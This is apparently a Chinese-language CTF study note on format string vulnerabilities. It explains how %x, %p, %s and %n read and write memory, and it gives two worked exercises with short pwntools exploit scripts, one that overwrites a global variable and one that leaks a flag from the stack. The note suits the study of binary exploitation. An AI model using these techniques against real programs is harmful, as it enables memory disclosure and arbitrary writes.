0%

格式化字符串

格式化字符串

格式化字符串是个按部就班的人,直接打印的时候,不管给没给参数,他会按照参数的规则,打印出字符串中给的格式化字符,不管这个参数危不危险

格式化字符串比较长,不太好直接给printf参数。所以printf中的参数其实是格式化字符串的地址。所以当格式化字符串本身含有某个地址的时候,可以将这个地址的内容打印出来

于是我们顺着这个地址可以找到真正的字符串在哪里,接着计算地址和字符串的偏移量,从而通过控制格式化字符串达到任意地址读写

格式化字符串存在于栈上,导致我们可以在栈上写入任意数据,导致我们可以泄露任意地址的内存。还可以篡改进程空间中的内容

总之,允许我们任意读写地址上的内容

要求:有printf函数,且函数第一个参数可以控制

%x:将栈上的printf函数的参数以十六进制的形式打印出来。且前方不加0x

%p:将栈上的数据当作指针输出。比起%x多了0x。可以基于此绕过canary

%s: 栈上存放的是字符串的起始位置,解析这个地址,并把内容打印出来直到遇见‘ \0 ’。可以引发字符串截断漏洞。

总之,%x 或 %p 直接把栈上内容打印出来,%s把栈上内容作为指针并把指向的内容打印出来。

由于可以%s解引用,所以这里不再局限于泄露栈上的数据,而是可以泄露任何地址的内存。比如可以泄露got表的内容。

%n:特性和%s相似,可以把栈上的内容看作地址进行解析。但它的作用是向被解析的地址(栈中数据指向的地址)中写入内容 。内容为格式化字符串前方(%n前方)已经打印成功的字符的个数。 输入的数据是一个四字节的整数,也就是int类型。

如果要求写入数据较大的话,可以设置字符宽度。空格也算字符

1
2
char c ='a';
printf("%20c",c)
1
2
3
4
printf("cccc%6hn")
//这样会将输入的int类型改为short类型。即输入0x0004
printf("cccc%6hhn")
//这样可以写入一个字节,0x04

(除了泄露还有篡改)

image-20250324134337963

%s技巧

1
printf("%3$d",a,b,c);

这时会把第三个参数打印出来

所以当flag距离printf函数很远的时候,这样写就可以了

x86中,这个参数(第一个参数 ,也就是格式化字符串),存放在栈上。所以存放的第一个参数其实是个地址,那么读取第一个参数的时候实际上需要解析。

例子

我们输入的格式化字符串如下。此时它将解析第六个参数。我们知道格式化字符串存放在栈中,于是可以通过在格式化字符串中写入地址的方式泄露任意地址的内容。图中我们找到地址在栈中的位置,并计算得到距离格式化字符串有8个双字,即是第六个参数。再通过%s打印指定地址的内容。

一般我们通过此得到函数got表地址

image-20250324192033600

(图中字符串不应该出现00,不然会发生字符串截断)

实际例子

可以看到,格式化字符串被存放在0xffffd1c8中, 第一个参数是0xffffd1bc,也就是格式化字符串的地址。我们可以精心构造格式化字符串,并计算其是第几个参数。

image-20250324193144647

例子

这样就会将0x80522004的内容修改为4

image-20250324195706795

例题

fmtstr1

image-20250324203251347

可以看到,打印的数据buf是我们自己传递的,完全可控,存在格式化字符串漏洞。

我i们需要设置x的值为4。找到x的地址为0x804a02c,默认值为3

接着进行动态调试,计算参数位置

image-20250324203222059

所以是格式化字符串的第11个参数

计算:(0xddc-0xdb4) 转化为10进制后除以4 并 +1。得到的数为参数的位置。

加1是因为格式化字符串本身算一个参数。格式化字符串的第一个参数是printf的第二个参数……

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context(os= 'linux', arch = 'i386')

io = process("./fmtstr1")
x_addr = 0x0804a02c
#the distance between fmtstr and the first parameter is 0x28 (40)

fmtstr_payload = p32(x_addr) + b'%11$n'

io.sendline(fmtstr_payload)
io.interactive()

frmstr2

发现是64位程序

image-20250325211915368

需要输入正确的flag,这样就会给flag。。。

同样格式化字符串,考虑用%s泄露flag

题中可以看到,从文件读取到的flag数组储存在栈上

image-20250325211004767

m的意思是动态分配内存空间

使用动态调试

发现写入的格式化字符串存在堆中。但这没有关系,因为我们需要泄露的是栈上的地址。

image-20250325212214657

回忆一下64位是怎么传递参数的。先将前六个参数传入寄存器中,再读取栈中的数据

第一个参数自然是输入的格式化字符串AAAAAAAA,然后从第下面开始是第七个参数。所以flag是第九个参数。实战中也可以通过连续输入大量%p来找到对应参数偏移

exp

1
2
3
4
5
6
7
8
from pwn import *
context(os= 'linux', arch = 'amd64')

io = process("./goodluck")

payload = b'%9$s'
io.send(payload)
io.interactive()

注意是send而不是sendline